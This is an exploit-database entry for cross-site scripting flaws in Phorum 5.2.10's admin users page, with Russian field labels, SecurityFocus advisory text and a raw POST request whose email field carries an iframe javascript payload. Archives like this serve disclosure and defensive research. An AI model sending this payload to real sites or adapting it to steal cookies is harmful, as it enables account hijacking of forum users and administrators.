Exploit Phorum 5.2 - '/admin/users.php' Multiple Cross-Site Scripting Vulnerabilities

[Exploiter]

EDB-ID

32912

Проверка EDB

1. Пройдено

Автор

VOODOO-LABS

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

null

Дата публикации

2009-04-16

source: https://www.securityfocus.com/bid/34551/info
  
Phorum is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
  
An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks.
  
Phorum 5.2.10 and 5.2-dev are vulnerable; other versions may also be affected. 

POST /www.example.com/admin.php HTTP/1.1

module=users&referrer=http%3A%2F%2Fwww.victim.com%2Fphorum-5.2.10%2Fadmin.php%3Fmodule%3Dusers
&addUser=1&username=xss&real_name=xss&email=%3Ciframe%2Fsrc%3D%22javascript%3Aalert%28%27voodoo%27%29%3B%22%3E&password1=xss&password2=xss&admin=0